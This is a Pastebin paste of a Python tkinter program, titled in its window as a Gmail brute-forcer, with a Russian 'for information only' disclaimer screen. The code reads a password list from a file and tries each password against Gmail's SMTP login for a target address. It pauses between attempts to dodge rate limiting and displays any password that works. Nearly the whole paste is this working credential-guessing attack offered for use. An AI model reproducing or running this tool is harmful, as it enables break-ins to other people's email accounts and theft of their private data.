Advertisement
Guest User

BrutG

a guest
Aug 17th, 2018
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.93 KB | None | 0 0
  1. import smtplib
  2. from tkinter import *
  3. import time
  4. toor =  Tk()
  5. toor.title("Brutforce_Gmail_From_INKVIZ96")
  6. toor.geometry("620x400")
  7. toor.configure(bg="#455")
  8. toor.resizable(width=False, height=False)
  9. dis = Label(toor, bg='#455', justify=LEFT, foreground='red', font='Arial 16', text=(" Данная программа представлена толька для ознакомления.\n Автор не несёт никакой ответсвенности за ваши действия.\n Нажимая кнопку 'Я согласен' вы соглашаетесь,\n что вы и только вы несёте ответственность за свои действия."))
  10. dis.pack()
  11. with open("proxy.txt") as file:
  12.     proxies = [row.strip() for row in file]
  13. prx = 0
  14. def click():
  15.     toor.destroy()
  16.     root = Tk()
  17.     root.title("Brutforce_Gmail_From_INKVIZ96")
  18.     root.geometry("500x400")
  19.     root.resizable(width=False, height=False)
  20.     entry_mail = Label(root, bg='#455', foreground='red', font='Arial 14', text=("Почта:"))
  21.     entry_mail.place(y=10, x=10)
  22.     root.mail = Entry(justify='left', background="#555", foreground="#ccc", font="16", width="40")
  23.     root.mail.place(y=15, x=75)
  24.     root.configure(bg='#455')
  25.     with open("passwords.txt") as file:
  26.         pas = [row.strip() for row in file]
  27.     count_pass = len(pas)
  28.     def click_button():
  29.         x = 0
  30.         addr = str(Entry.get(root.mail))
  31.         while x < count_pass:
  32.             try:
  33.                 smtpObj.login(addr, pas[x])
  34.                 pastext = Label(root, bg='#455', foreground='red', font='Arial 14', text=("Пароль:", pas[x]))
  35.                 pastext.place(y=100, x=10)
  36.                 count = Label(root, bg='#455', foreground='red', font='Arial 14', text=('Паролей перебрал:', x+1, '/', count_pass))
  37.                 count.place(y=140, x=10)
  38.                 break
  39.             except:
  40.                 if count_pass >=20 and x >= 20:
  41.                     time.sleep(8.5)
  42.                 print(pas[x])
  43.                 x += 1
  44.         else:
  45.             pass_df = Label(root, bg='#455', foreground='red', font='Arial 18', text=("Пароль не подобран!"))
  46.             pass_df.place(y=100, x=10)
  47.             count = Label(root, bg='#455', foreground='red', font='Arial 14', text=('Паролей перебрал:', x + 1, '/', count_pass))
  48.             count.place(y=140, x=10)
  49.     root.btn = Button(text="Начать", background="#555", foreground="#ccc", padx="14", pady="8", font="16",
  50.                       command=click_button)
  51.     root.btn.place(height=50, width=180, y=50, x=245)
  52.     smtpObj = smtplib.SMTP('smtp.gmail.com', 587)
  53.     smtpObj.starttls()
  54.     root.mainloop()
  55.     smtpObj.quit()
  56. toor.btn_ds = Button(text="Я согласен", background="#555", foreground="#ccc", padx="20", pady="8", font="16", command=click)
  57. toor.btn_ds.place(height=50, width=180, y=320, x=215)
  58. toor.mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement